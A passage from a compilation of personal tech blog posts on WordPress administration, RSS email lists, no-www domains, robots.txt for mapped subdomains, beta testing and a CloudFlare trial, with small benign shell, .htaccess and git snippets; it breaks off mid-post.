On the WordPress upgrader, I could trick that with a simple “if the version is ‘latest’, then download latest.zip”, because the WordPress most recent release is `latest.zip`. Now, I **never** call that. I like being master of my domain (pun? maybe) so I always make the time to know what I’m calling. I could have assumed that if you don’t put a version in, you want to install the latest, which is pretty easy to flip around, but I don’t like to assume like that. Still, you can take the code if you want it and do that.
On the other hand, I think if someone wants a plugin, then they should be able to go ‘Get me the plugin’ and it *should* default to the latest. Probably this is because I test trunk WordPress a lot, but rarely do I trunk a plugin. Since there’s no easy to gank default like that for plugins, I came up with this really fun bit of code, shoved in an if-then check. I really like awk, by the way. It’s insanely powerful.
```
# We're getting the readme from the repo and using that to calculate the latest stable release.
wget -qO $1-readme.txt http://plugins.svn.wordpress.org/$1/trunk/readme.txt
if ! [ -f $1-readme.txt ]
then
echo "FAILURE: The plugin is goobered in the WordPress repository, so we can't determine the latest stable release."
exit 1
else
tr -cd '\11\12\40-\176' $1-readme-tr.txt
VERSION=.`awk '/Stable/ {print $3}' $1-readme-tr.txt`
rm $1-readme.txt $1-readme-tr.txt
fi
```
All these are free for use, and both are under GPL2. I can offer SOME support, but they’re filed under ‘Works for me!’ in my bin.
**Categories:** How It Is
**Tags:** coding, command line, unix, wordpress
---
### [Make An RSS Powered Email List](https://halfelf.org/2011/make-an-rss-powered-email-list/)
**Published:** January 21, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Want to feed your email list from an RSS feed without having to rely on things like FeedBurner or MailChimp? With rss2email and some savvy, you totally can!
**Content:**
 Sometimes the problems we have are insanely more complicated than they should be, because our heads get trapped in a space they shouldn’t be. For years, I used FeedBurner to manage my RSS feeds. Then I realized I didn’t care that much, I didn’t need to know who was accessing my feeds, and really the only benefit was that I could put ads in my feeds (which … no one clicked on anyway) and 12 people could subscribe via email. Well, with some research I found that I could put ads in my feeds with some WordPress functions (I’ve since removed them) and I could use Subscribe2 as a plugin to email when I had new posts. Don’t get me wrong, I really like Subscribe2 *except* I didn’t like the interface. It’s on the back end of WordPress. My site is a BuddyPress site. Everything is on the front end for my users, and I like it that way. It all looks ‘branded.’ The plugin dev was, fairly, under the idea of ‘Works how I want it.’ I thought about forking, but as I looked at the code, I thought that I really didn’t need WordPress to handle this. I needed a way to email an RSS feed to a mailing list. A proper, opt-in, stable, mailing list, that wouldn’t affect my blog while processing.
I found an answer that can be applied to any site, WordPress or not.
### What?
**The problem:**
I have an RSS feed I want to be able to email to people who don’t like RSS, and I don’t want to use FeedBurner, MailChimp or any *external* process.
**The solution:**
- Setup a [MailMan](http://www.gnu.org/software/mailman/index.html) list for your emails and configure as needed
- Install and configure [rss2email](http://www.allthingsrss.com/rss2email/)
- Setup a cron job
### Why?
**Why not use \[this product\]?** When I presented this to people the first thing they said was ‘Just use FeedBurner!’ or ‘Use MailChimp!’ I get that I *can* use those third-party vendors, but I don’t *want* to. I like to self-host because then, if things go wrong, I have the ability to do something about it. This is also how I increase my IT toolkit. I have a need, I find a solution. Sometimes I write the code, and sometimes I just master a new tool.
**Why Mailman?** Mailman (or properly GNU Mailman) is installed on my server and while it may be old, the current stable version is 2.1.14, and that came out September 2010. It’s still updated, maintained and supported. And it works. I’m familiar with it, I’m comfortable with it, and there’s no reason not to. I did experiment with phpList, which claims to be able to handle RSS feeds as ‘source’ on it’s own. The problem, as my Twitter buddy @JohnPBloch warned me, is it’s not friendly. He said “I don’t care much for phpList. I always felt like the software was working against me instead of with me.” And he’s right. It took 5 minutes of setup for me to gag and delete it.
**Why rss2email?** I don’t think RSS is dead. In fact, I still prefer it to email (or Twitter). My unread RSS list (currently run via Google Reader) sits, quietly, patiently, waiting my attention. I don’t get spam or junk feeds, and if I decided to mark all my Fail Blog feeds as read without reading them, no one knows but me. I don’t have to reply to anything, and I can go back to using my email for communication. That said, I know a lot of people who like to get updates in their email, so I have to take that into consideration when running a site. Sometimes, when you make a site, you cater to yourself. Sometimes you cater to your audience.
**Why cron?** I’m on Linux. That’s what you do when you want to schedule things.
### How?
 Bear in mind that my details are going to be specific to my situation.
**Mailman** is the easiest. You make a mailing list. I wanted an announcement mailing list, so under *Privacy options -> Sender Filters* I set up that all users were moderated by default and to discard their emails. Then added my email under “List of non-member addresses whose postings should be automatically accepted.” I knew I was going to have emails sent from a specific address, and I didn’t want that address to GET the emails, so by putting it on that list, I don’t have to worry about approving posts. That’s pretty much all the ‘special’ customization I did. If I’d wanted to put a reject to other people’s emails to the list, instead of a discard, I’d have added this “This is an announcement only list. Your post has been rejected.”
**rss2email** was the hardest, but only because it was new. The install process is really straightforward. I made very minor tweaks to the config.py file, based on a first run when I realized that my mailing list would strip HTML. I set `HTML_EMAIL` and `USE_CSS_STYLING` to 0 to get it all to plain text. I changed my `DEFAULT_FROM` and `OVERRIDE_FROM` to ‘pretty’ versions of my domain information. Then I had to customize my SMTP stuff, since it requires authentication and is on a special port (not 25).
**cron** was the most surprising. Since I have to run rss2email out of the same folder it’s in (Python…) I wrote a quick shell script called `rss2email.sh` that has two steps. It changes directory to my install of rss2email and then it calls the command `./r2e run`. Then I called it with a twice-daily (0 and 12) cron job with `/home/USERNAME/rss2email.sh` and it’s done. I’m not going to give you a blow by detail on how to do cron stuff. It’s way too complicated to try and overview here.
### Satisfied?
Pretty well. I’m still massaging the output a bit. The HTML output of a full RSS entry was weird. After changing my WordPress feed to excerpts, I ended up with some weird lines in my emails:

This was caused by some old functions I had in my theme to insert ads into my feeds (mentioned above). I took that out, called `./r2e reset` to clean out the database, and then re-ran the script. Worked fine! I admit, I had some moments where I didn’t like putting the excerpt in. I use a custom crafted excerpt in every single post on this site as part of my layout, and while I prefer to avoid ‘read more!’ type things in my feeds, I realized my custom excerpts would be ‘good enough’ for anyone who cared. I do wish WordPress would make two feeds, one excerpt and one none, but that’s a job for another day. At least I’ve managed to semi-customize my Mailman digest header (via manually editing masthead.txt).
After all my testing, I deleted the mailing list and reset everything, did a clean build, and voila! Works like a champ, without putting extra stress on things!
**Categories:** How To
**Tags:** coding, command line, email, rss, unix
---
### [Distributed Company](https://halfelf.org/2011/distributed-company/)
**Published:** August 8, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Our tech skills have adapted to world wide collaboration, but why haven't our communication skills?
**Content:**
[](https://halfelf.org/2011/distributed-company/diskussion-icon-svg/)In the past, a company’s staff all sat in the same area, cubes or desks in a little area where they were grouped by their job functions. Shipping sat here, processing here, accounting there. IT had the closet. As time passed and systems grew, teams became more diverse. The shipping mavens needed to know what the processing people were doing, and cross-training became the norm. People stopped being able to say they had one role at work, and started becoming generalists instead of specialists. There was always (and will always) be a role for the super specialist, but not everyone had to be one.
In IT, this has become even more prevalent. It’s not good enough to *just* be great at Windows IIS, you have to know Apache, Lighttpd, nginx, and countless other systems, just to keep up with our fast paced world. Thankfully, a lot of us spend our time learning the basic concepts of how things work, we learn to think logically, and apply that skill to any product, regardless of our familiarity with it. We adapt.
But for the brick and mortar companies, many people have sat ‘with their team’ for their careers, and the idea of splitting up is mind boggling. “How can we work if half the people I need to talk to are in another building?” they cry, after a reorganization moves people around.
Here’s a true story.
We split up our teams recently, into ‘Design The Software’, ‘Build The Software’ and ‘Support The Software.’ The designers are ‘architects’ who create the scheme of things and decide how the software will work. The builders do the grunt work and build it. The ‘Supporters’, for lack of a better term, are the folks who use it every day and answer the phone when it breaks. Oh yeah, they have to fix it when it breaks.
Many of us straddle at least two teams, and some of us are in all three, so where you actually ended up has very little bearing on what you do, and more on where you *sit*. I sit a floor away from people I work with every day. Now, when a server goes down, someone over there may be working on it at the same time I am, and conflicts come up.
[](https://halfelf.org/2011/distributed-company/presa_de_decissions/)We’ve tried to address this with ‘team twitter’ accounts (not actually Twitter, we made our own little applet for it in Sharepoint). Someone will post ‘Ticket Foo came in, I’m on it.’ and we know to look there first. Sometimes we post ‘Hey, server Bingo is crashing. Anyone know what’s up?’ and we’ll reply. Personally, I wanted to grab a page from WordPress and make a P2 blog where we could all just login and post, but that got shut down.(We’re trying to rewrite it for SharePoint right now, but oddly people are against sharing personal information with other people who already have access to that information…) Still, not everyone remembers to use it, and since it’s ‘just us’ and not a corporate initiative, we get people complaining ‘I have to run across the hall, down the stairs and down another hall to tell Bob about this!’ and ‘I can’t *hear* what’s going on!’
We’re far too set in our ways, clearly. The fact that no one is willing to even try to look at the benefits of distributed collaboration depresses me. I don’t have to sit by someone to IM them a question. I don’t have to call them to ask a question. I have email, I have IM, I have a phone, I have a group ‘board’ where we can have lengthy discussions about ideas, before we sit down and waste an hour in a meeting.
What I *don’t* have is buy in. I don’t have people willing to try something new. “The old way worked!” they shout. No, it really didn’t. It looked like it did, but how much time was wasted running around trying to find someone, not knowing where they sat, when you should have just put a message up and they should have read it, replied, and moved on. Interoffice memos in J.K. Rowling’s world were paper airplanes. Wouldn’t it be nice that you could use that? Oh wait, it’s called email!
The future of communication in a company isn’t going to be ‘How do we schedule a meeting across four continents?’ but in ‘How do we keep our communication flowing, 24/7/365?’ At this point, my company has offices in over a dozen counties. We still rely on ‘shift hand-off’ emails which no one reads because we get too many emails to begin with. We have people who spend so much time filtering email that they half-ass updates to support tickets, so the next shift has only half an idea of what’s going on.
[](https://halfelf.org/2011/distributed-company/peopletalk/)Your company needs to be available when people use it. For a Bank (like I work for), that means every day except the days you’re legally obligated to be closed. Which means there actually isn’t a time when we’re 100% closed.(Sometimes I joke that the sun never sets on our company.) Obviously this isn’t true of all things. A grocery store should be open most hours of the day, if possible. A restaurant should have longer hours on the weekend. An on-line store maybe needs 24/7 support, or maybe it just needs 5 day a week so people can catch a break. But you decide when you need to be available, and then you make it happen. And if being available means you need someone to be around for 14 hours, then you need a way to hand off that person’s work to the next guy in a way they can easily pick up and run with.
The future is decentralization. It’s time to embrace it and learn how to use it best.
**Categories:** How It Is
**Tags:** business, essay
---
### [The Person of WordPress](https://halfelf.org/2014/wordpress-person/)
**Published:** April 23, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The arm of support and the arm of humanity.
**Content:**
I read Manga, pretty much like every comic book nerd from the 1980s. I got hooked on some fairly grown up stuff as a tween, and today I read the stuff with entertaining and semi realistic stories. One of them I read is called “Space Brothers” about, get this, two brothers who decide to become astronauts. When the story starts, the younger brother, Nanba Hibito, is poised to make his first trip to the moon, while the older brother, Nanba Mutta, is fired for head-butting his boss. As the story goes on, Mutta overcomes obstacles and is accepted into JAXA, Japan’s version of NASA.
It’s during his first lecture as a newbie wanna-be astronaut that the lead of the support staff draws the Japanese character of Person on the white board:

And he tells them a famous person said this:
> The character of person shows that people are living by supporting each other.
I was unable to verify the quote, but it sounds somewhat reasonable to me. Still, in looking at it, I thought that the stroke on the right seemed to be supporting a bit more than the one on the left. So did the character in the manga, who went on to explain that some people support more than others, but they do so with the intent of boosting the others higher. That’s why the leftmost stroke is taller.
Now, Japanese has three written languages: hiragana, katakana, and kanji. For those unfamiliar, you can read a brief explanation from [Ancient Scripts](http://www.ancientscripts.com/japanese.html), but the person character I used above is from kanji. There’s a historical basis in [kanji that look like their meanings](http://www.tofugu.com/2012/05/29/the-kanji-that-look-like-their-meanings/), so this interpretation isn’t outside the realm of possibility.
When I look at WordPress, I see that leftmost character as being the path taken by the people who manage to write amazing code. And I see myself as the rightmost character, who tests and debugs and supports them. I feed information into them as I find it, I help others to do the same and solve their problems. I am, indeed, a support guru.
There’s nothing wrong with this. If it wasn’t for me, and people like me, WordPress would fall over. I said this at WordCamp SF in 2012: If there weren’t users, there would be no WordPress. All of us, the users and the support people and the random one-plugin developer and that person who edited a theme once, we’re all the reason WordPress is still being used as well as it is. The app was made useful and deemed useful.
But consider the *modern* version of the character.

This may seem strange if you’ve never read about kanji before (I was once deeply into a manga about caligraphy), but it has it’s own version of print and cursive. Here are all the various ways one might write ‘person’ in kanji:

Now you may notice that’s a Chines Kanji exemplar. It’s the same thing for around 70% of the characters. And in this case, it happens to be the same.
If I was to extend my previous thought, that the support arm of WordPress helps it reach new heights, I would look at the modern character and say that the two arms keep each other from falling over and, only when combined, can they reach the future of marvelousness.
That’s a bit cheesy, I know, but the point is that we’re not alone. We don’t work on open source in a vacuum, we work together, relying on each other, to make everything better for everyone. We’re equal partners in the work of creation, even if we don’t see it as such all the time.
I don’t know what the kanji is for Open Source, or if there even is one, but I hope it represents people for being the crux of it all, always helping people.
**Categories:** How It Is
**Tags:** essay, support, wordpress
---
### [Don't Use WWW](https://halfelf.org/2012/dont-use-www/)
**Published:** April 17, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Go www free. It's the way to be. Or not, but I certainly never use it anymore.
**Content:**
It was asked why I don’t recommend using www in your URL for Multisite in [WP Multisite 101]().
To quote me:
> **You should not use www in your URL**
> A lot of people complain about this. The simple fact is that any well built server will automatically redirect www.example.com to example.com seamlessly. By removing it from our install, we avoid any possible conflicts with subdomains. Your SEO will not be impacted.
What I didn’t say, but I told the fellow with the question, is that some servers see www as a subdomain, and not an ‘alias’ (for lack of a better term) of example.com, which is my main reason for not using it. I’ve also seen a very rare, but infuriating, problem where, after upgrading, a site that *happens* to use www in their URL can no longer get to the network admin page, and instead gets a redirection loop. Since this only happens with www in the URL, and never when it’s not, it’s safer to drop the www.
I’ve never yet heard a good **technical** reason to use it, though I do totally accept ‘But I like it!’ as a justification. Everyone has a preference. I don’t feel that the www makes your site more or less professional, mostly because I don’t think anyone really looks except, maybe, you. As long as the redirect is seamless, the user will never notice, and 99.999% of them won’t care. Yes, Google and Facebook both use the www, though newer sites like Tumblr and Twitter don’t. WordPress doesn’t, but I’ve been advocating no-www longer than I’ve used WordPress.
My technical reasons for not using it stem from the [No WWW](http://no-www.org/) guys.
> By default, all popular Web browsers assume the HTTP protocol. In doing so, the software prepends the ‘http://’ onto the requested URL and automatically connect to the HTTP server on port 80. Why then do many servers require their websites to communicate through the www subdomain? Mail servers do not require you to send emails to recipient@mail.domain.com. Likewise, web servers should allow access to their pages though the main domain unless a particular subdomain is required.
>
> Succinctly, use of the www subdomain is redundant and time consuming to communicate. The internet, media, and society are all better off without it.
To explain what that means, www used to be the protocol to say ‘If data comes for www.example.com, it’s web traffic.’ Similarly, mail is the protocol for email, and mail.example.com sends traffic to your mail server. You could email me at mail.halfelf.org. And the point of all that all web browsers today know that http://example.com is a website. In fact, you can just type example.com into *any* browser, and it’ll know ‘Oh, this is a website.’ How does it know that? Because you’re in a web browser.
It’s like when you dial a phone number, you don’t have to press a button to say ‘Phone number.’ Look at your cell phone. If you open up your text messaging app, enter a cell phone number, and send a message, the phone magically knows ‘This is a text!’ and sends it. But if you open the phone app and enter the exact same number, it knows ‘This is a phone call!’ You, the user, have to do nothing.
That www in your URLs is telling the browser something it already knows. It’s redundant, it takes up space, and it’s unnecessary.
Now people I respect, like Michael Hampton, maker of Bad Behavior (my out and out favorite add-on to any PHP web app), is the brain behind [Yes WWW](http://www.yes-www.org/). His [counter argument](http://www.yes-www.org/www-is-not-deprecated/) concludes with:
> The main reason I argue for leaving the www. in URLs is that it serves as a gentle reminder that there are other services than the Web on the Internet. Some of these, such as FTP and DNS, users typically use transparently without even realizing it. Others, such as e-mail, users access through separate applications. Even so, I know of many users who will claim with a straight face that e-mail is not part of the Internet.
While I disagree (mostly since, if that holds true, we should use mail.example.com and so on), the question comes up that if we’re not using www, how do we differentiate between http://example.com and ftp://example.com in cases where they’re not on the same server? You can, easily, redirect ftp.example.com to a different IP, if needed, via DNS. Thankfully, there are some easy answers to this. First, you can route the requests via ports. If a request comes via FTP, that’s a different port, send it to the other server. What you *can’t* do, however, is serve HTTP and FTP over the same port, but … you shouldn’t do that anyway.
There are many personal reasons to use www or non-www, and they are all perfectly valid. But there’s on big technical reason I would never consider it on a Multisite install of WordPress. Once in a blue moon, after an upgrade, someone finds out they can’t get to their network admin. This is, normally, due to a miss-match in URLs, where they’ve put http://example.com and http://www.example.com for their site and home URLs, back before they turned on Multisite. Fixing that is a monumental effort, and it doesn’t always take. (This is probably related to now that I think about it.) Also, even more rare is the case where just having the www forces your subdomains to be subdomain.www.example.com.
Both situations are frustrating. Both are avoidable by using just http://example.com
As long as you redirect the www to non-www, your users will never notice. Except the geeks like me. And while we may disagree, it’s unlikely we’ll stop using your site over something that trivial. Go www free. It’s the way to be.
**Categories:** How It Is, How It Works
**Tags:** domain, essay, htaccess, website
---
### [Mapped Domains And Google Search](https://halfelf.org/2014/mapped-domains-google-search/)
**Published:** September 15, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** For some reason my non-mapped URLs still show up in Google, and I didn't want that!
**Content:**
The other day I was surprised to learn that Google still looks for tech.ipstenu.org
Kind of.
If you go search for it, Google still believes that URL is a real thing:
Some of those URLs were made long after I mapped the domain, by the way. And yes, of course I have a 301 redirect for the subdomain.
```
RedirectMatch 301 (.*) https://halfelf.org$1
```
What’s going on here? Strictly speaking, Google’s right and stupid. The URLs are correct, but Google should be honoring the 301 redirect. Because it’s not, you have to tell it not to trawl your subdomains and use a robots.txt file, just for your mapped subdomains.
First we’ll need to make a special robots.txt file, like robots-mapped.txt, and put the following in it:
```
User-agent: *
Disallow: /
User-agent: Googlebot
Noindex: /
```
This tells Google to sod off. Then you need to specify when to use this special file, and that brings us to the lands of options. Since .htaccess is a top-down file, that is it reads from the top of the file down, you can get away with this:
```
RewriteCond %{HTTP_HOST} = (code|tech).ipstenu.org
RewriteRule ^robots\.txt$ /robots-mapped.txt [L]
```
Just have that above any redirect rules for other things. But what if, like me, you’ve got Apache 2.4?
```
RedirectMatch 301 ^/robots\.txt /robots-mapped.txt
RedirectMatch 301 (.*) https://halfelf.org$1
```
Of course, that sends `tech.ipstenu.org/robots.txt` to `https://halfelf.org/robots-mapped.txt` which is scary but still works, so don’t panic.
Another way to do it would be to have a massive rewrite for all my subomains:
```
# All Mapped
RedirectMatch 301 ^/robots\.txt /robots-mapped.txt
```
I will note, it should be possible to have `(code|tech).example.com` work in there, instead of all those OR statements, but I’ve yet to sort that out (corrections welcome in the comments!).
The last step is to fight with Google Webmaster Tools. Add your subdomains and you *should* get this on the robots.txt checker:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/09/google-webmaster.png)
If you don’t, don’t panic. Go to the Fetch as Google page and tell it to fetch robots.txt. That will force it to recache. Once you have it right, [ask Google to remove the URL from their index](https://www.google.com/webmasters/tools/removals?pli=1), and in a few days it’ll sort out.
It’s very annoying and I don’t know why the 301 isn’t honored there, but oh well. At least I can make it work.
**Categories:** How To
**Tags:** domain, multisite, wordpress
---
### [Single Site Login Loop](https://halfelf.org/2014/single-site-login-loop/)
**Published:** September 29, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Looping the login in a different way on Single Site WordPress
**Content:**
Have you ever tried to log in to WordPress and have the login page just refresh with no errors?
No, I don’t mean that [Multisite Login Loop](https://halfelf.org/2012/multisite-login-loop/ "Multisite Login Loop").
After upgrading a bajillion people to WordPress 4.0 on DreamHost, I noticed something a little weird. People couldn’t login and they didn’t get an error. They would put in their ID and password and the screen just refreshed. So I took a look and decided to start with the obvious tests.
Assuming that the username and password were correct, I checked what happened with a fake account and password. I put in ‘admin’ with a password of ‘areyouduckingme?’ (which no one but me would use) and expected to see a nice login error like this:

I did not. Right away I knew what was wrong. There was a miss-match with the home and site URLs!
At DreamHost, we allow you to pick if you want to force www or non-www or not at all for your domains, and I always go to check what the customer did there, just to see. If they picked ‘neither,’ then I’ll usually flip it to non-www because [I hate www in your domain](https://halfelf.org/2012/dont-use-www/ "Don’t Use WWW") and I’m fixing things. Of course, if they have set it to www or no-www, I make a note and honor that.
Then I go check the home and site URL and make sure they’re both the same in so far as the domain does. If one is www.domain.com and the other is just domain.com, and 50% of the time, it was this all along. The other 50% is that WordPress thinks it should have www and the domain settings think it should not. The point here is that everything needs to match up nicely when it comes to your domains.
It’s also a good idea to check the .htaccess to see if they’re forcing it one way or the other in there (I do).
And you’re done. Refresh the page, see if you can login. Should be magic.
Of course the question is then why did this happen, and the answer is that WordPress is trying to make it harder for people to break into your site. Part of these means making sure that cookies match domains properly, and when you have an inconsistency like www.domain.com and domain.com, the cookie is invalid and WordPress doesn’t know where to go. It wants to go to one but gets tossed to the other.
**Categories:** How To
**Tags:** debug, wordpress
---
### [Beta Testers](https://halfelf.org/2015/beta-testers/)
**Published:** January 28, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So you wanna be a beta tester? Only the bold need apply to beta test.
**Content:**
There’s a weird aspect to open source that can be hard to explain, and that is the ethos and practicality of Beta Testing. Beta Testing is one of the most important aspects of open source, because it’s only with the beta that we’re able to real-world test products. No matter how much planning and testing and automated tests you write, there is nothing quite as powerful as the real-world. We just can’t reproduce it well enough because, among other things, we can’t yet predict humans very well. Sure, cold reading is a thing *because* humans can be predictable, but that doesn’t mean we know how a tool will be used 100% of the time.
And being a beta tester is hard work. You have to be both a user and a developer, which are really two totally divergent mindsets. Testing as a user versus testing as a developer is as different as how you and a formula one racer drives a car. Input from both the users and the developers is critical to the growth of a project and the end results. But before we get into how one really betas, we have to ask a very important set of questions.
## Should I be a Beta Tester?
- Are you *brand new* to the project?
- Do you use the products daily (or close enough)?
- Do you know how to manually clean up a bad install without losing your data?
- Do you make regular backups?
- Do you know the basic troubleshooting steps for the product like the back of your hand?
- Are you willing to test on your live site?
If you answered ‘no’ or ‘maybe’ to **any** of those questions, then you’re not *yet* ready to be an effective beta tester.
That last one may catch people by surprise. Testing on your live site is something we actually tell people not to do, but I’m here to tell you that the best beta testers are either testing on their live site or on a site they use every single day. Since I have multiple site I use daily, I picked the one I can live with if it dies and I use that for my live-beta.
Guess what? You’re on it right now. It’s a hallmark of how much trust I have in WordPress. I can count the issues I’ve had on one hand since I started this a few years ago. I make a backup every day, twice a day, and I have it in three locations. If my site goes down, I lose at most 12 hours of content, and for what I’m doing here, that’s okay. My other sites, I could not deal with that loss and thus I use stable. But I test with live because… well let me explain.
## How do I test?
If you’re going to be a beta tester, then the you install the beta and you *use* the product.
You were expecting rocket science?
Most projects have a lot of automated tests and they’ll test what they know about and what they can. But absolutely nothing replicates real world use. The whole reason I test with a live site, and why I feel it’s important, is that this is as real as it gets. This site is updated regularly with plugins and theme changes. I add new content five times a week on the same Multisite installation. I add new content multiple times a day on another site. One is on trunk, one is not. This lets me constantly compare the experience between the two and makes me immediately aware that something is different. If it gets my attention, that’s important.
What I do with my site is equally important. I’m writing content, constantly, which means I’m using some of the fundamental, day to day features that WordPress absolutely must have. That kind of user testing cannot be scripted. There is no AI yet that can reproduce what machinations a human gets up to.
I like to tell a story about the time my coworker John and I were testing some tax software for the bank. We ran it through it’s paces, putting in data, and every time we tries to save at a certain point, the software crashed. It crashed *hard*. We called the vendor and talked to them about it, walking them through what we did, and lo, it crashed again. They couldn’t reproduce it, so we screen-recorded it and sent it over. They were astounded and sent out a tech from New York to Chicago to work on this. He couldn’t solve it, but he did see how we crashed it. Then they sent in their big guns, their lead developer, and he sat down and watched us. As soon as it crashed he said he knew what the problem was.
We were doing it wrong. We were entering bad data in a way no tax professional ever would, the system was trying to process the math and, because the logic was bad, it crashed. I pointed out that people would make mistakes and he agreed, saying it *should* have alerted us to an error in the form, not try to process anyway. A few days later, he sent us a new version which properly trapped the error.
While a scripted test *might* have caught that by looking for bad values before mathing, they were doing the obvious check. They checked if it was a number. They neglected to check if it was a permitted number. If you’ve ever heard me nag someone about proper data sanitization and validation, this is why. They made a code change, added it into their scripted tests, and learned and grew. But they couldn’t have done that without a real human thinking in a different, and unexpected way.
We can, and will, improve scripted tests, but they will never improve to perfection because humans are pretty crazy. Which leads us to the next step.
## How to I report a bug?
This is generic for a reason.
First, make sure you can reproduce the bug. Get a clean build to test on and go through the steps again. If you’re not sure about the steps, make a note to yourself about generally what you remember and try it again. If you can’t reproduce it, call it a one-off and let it go (and debug for yourself, but that’s different). Once you can reproduce it on a clean build, document those steps.
You’re going to want to answer these questions:
- What were you doing?
- What did you expect to happen?
- What happened?
- What research did you do into the error?
- How do you reproduce it reliably?
Include any error messages. Explain what you did. Don’t say “It didn’t upload.” Instead, say “The upload hung, making no further changes on the page. I waited 15 minutes before hitting refresh. When I checked the media library, I saw the image was uploaded however when I looked at the file server, none of the thumbnails were there.”
This is why you need to know what you’re testing. With a failed image upload on WordPress, you should know that the image uploads and then it makes the resized images. Even if you don’t know that, you should know your images are in `wp-content/uploads/2015/02/` and you should look there to see if you can find them. If you have a failed post, you should know to look at the post list page in WP Admin and see if the post is listed there.
You’ll get extra bonus points if you can find your PHP error logs and share pertinent information, but that isn’t always easy. When you reproduce the error, make sure you specify if anything special has to happen. Like if the image upload only fails if you’re uploading a PNG, note that. Or maybe it only fails on pages, but not posts. How weird is that, right? Note it.
Don’t worry about being technical here. Be accurate, be clear spoken, and assume the other person is relatively new at whatever you’ve broken. Don’t assume they know exactly what you mean when you said “Upload an image…” Be specific and say “Create a new post and press the ‘Upload’ button…” If you know there are multiple ways to upload an image, test those other ways. It’s a due diligence thing.
After you’ve reported the issue, keep informed. Make sure you get email alerts for it, make sure you *reply* to those emails for it. You can’t just report it and walk away, you have to keep tabs and pay attention. People may need you to clarify information and explain problems in different ways. Remember people can’t actually read your mind. What’s clear to you, because you did it, may confuse them.
And finally … be prepared to hear that it’s just not that big of a deal. Sometimes a bug isn’t a bug, but an intended change. You may not like it. Heck, you may despise it, but that doesn’t make it wrong.
## What else?
What are your takeaways from beta testing? How do you do it?
**Categories:** How It Is
**Tags:** debug, development, essay
---
### [March into CloudFlare](https://halfelf.org/2015/march-cloudflare/)
**Published:** March 30, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Eating my own hotdogs by using CloudFlare.
**Content:**
“Eating your own dogfood” is a colloquialism that describes a company using its own products or services for its internal operations. Microsoft supposedly invented it in the 1980s.
DreamHost is partners with CloudFlare. I’ve tried [time](https://halfelf.org/2013/i-dont-understand-cloudflare/ "I Don’t Understand CloudFlare") and [again](https://halfelf.org/2013/cloud-experiment/ "Cloud Experiment") but I get hung up when we start talking about the delay in caching and the proxying of caches. Still, I know me. I can do things better and provide better support if I use a thing. I’m so good with [PageSpeed](https://halfelf.org/2013/kick-pagespeed-up-a-notch/ "Kick PageSpeed Up A Notch") and [wp-cli](https://halfelf.org/2012/command-line-wp/ "Command Line WP") now because I use them regularly.
So it was time to knuckle down and use it for more than just a week. I was committing to a month on CloudFlare!
## Pick One Domain
I decided to only do this for one domain. My busiest, and not a multisite, because I wanted to create a ‘real user experience.’ I didn’t use my company account. I made a new CloudFlare account, added this domain, and started there. I didn’t want Multisite because that’s where my store is, and if I screw up the busy site, I don’t lose money or risk people’s information. While I’m sure it can be used safely, I knew I was going to experiment a little, so I wanted to protect myself and them
## Turn on CloudFlare, Turn off PageSpeed
You heard me. I turned PageSpeed off for the domain I’m testing on. I love PageSpeed, but after talking to some people, I’ve been wondering about how well it handles things. Also with SPDY and HTTP/2, compressing HTML is less and less of a concern. I wasn’t sure if there was a benefit to having everything be filtered and compressed before it loaded. Was I making the experience worse? After making sure I still had `mod_cloudflare` active and up to date, I used `.htaccess` to turn off PageSpeed.
## Break Your Code Flow
I need to point out that CloudFlare warns you about this one. They tell you that if you need to SSH, you should use [a different record or the IP](https://support.cloudflare.com/hc/en-us/articles/200169406-How-do-I-SSH-). That wasn’t a big deal. I’d kept ftp.example.com separate for FTP anyway. All I had to do was change my SSH aliases to point there as well.
I forgot that I use Git on my own server. I wanted to update a script and Coda hung. It took my brain a moment to remember that I was using Git with SSH so I had to remember how to change the remotes on Git:
```
$ git remote -v
# origin me@example.com:USERNAME/REPOSITORY.git (fetch)
# origin me@example.com:USERNAME/REPOSITORY.git (push)
```
This was a problem. My example.com main domain hit CloudFlare. So I had to change that to use ftp.example.com as well. That wasn’t too hard, just running this 6 times.
```
$ git remote set-url origin me@ftp.example.com:USERNAME/REPOSITORY.git
$ git remote -v
# origin me@ftp.example.com:USERNAME/REPOSITORY.git (fetch)
# origin me@ftp.example.com:USERNAME/REPOSITORY.git (push)
```
Still, I felt pretty silly!
## Break Your Email
Same song, second verse. I had to add in a [CNAME for smtp.exmaple.com](https://support.cloudflare.com/hc/en-us/articles/200168876-My-email-or-mail-stopped-working-What-should-I-do-) on CloudFlare because I use that to send emails and I use mail.example.com to receive. By default they know mail should be ignored. The scan didn’t pick up smtp. I forgot about it until I tried to reply to an email.
## Break Your Tools
Not the ones on my computer. My other CMSs broke. CloudFlare is used to WordPress, and has [Five Easy First Steps](https://support.cloudflare.com/hc/en-us/articles/201717894-Using-CloudFlare-and-WordPress-Five-Easy-First-Steps) to using WordPress and CloudFlare.
In that document, they specify this:
> Create a Page Rule to exclude the wp-admin or wp-login sections from CloudFlare’s caching and performance features. You can access PageRules in your CloudFlare ‘Settings’ options.
>
> e.g.
>
> ```
>
> *example.com/wp-admin/*
> *example.com/wp-login/*
> ```
>
> Why do this?
>
> While there is not always an issue, we have seen instances where optional performance features like Rocket Loader may inadvertently break certain functions (editors, etc.) in your WordPress back end.
Except there are major problems (besides the fact that the second example should be `*example.com/wp-login*` without the trailing slash)! The free version only gives you three rules. I’m using four apps (WordPress, ZenPhoto20, Yourls, and MediaWiki). That means if I need to white list all of them, I’m out of luck.
Then there’s the problem that `*.example.com` matches `blog.example.com` and `www.example.com` but does **not** match `example.com` and guess what? I’m using `example.com` without the WWW. [I hate WWW](https://halfelf.org/2012/dont-use-www/ "Don’t Use WWW"). And yes, [you can use a naked domain with CloudFlare](https://support.cloudflare.com/hc/en-us/articles/200169886-Can-I-use-a-naked-domain-no-www-with-CloudFlare-).
## Break The Site (For One Person)
Someone pinged me to let me know the site was down in Scotland:

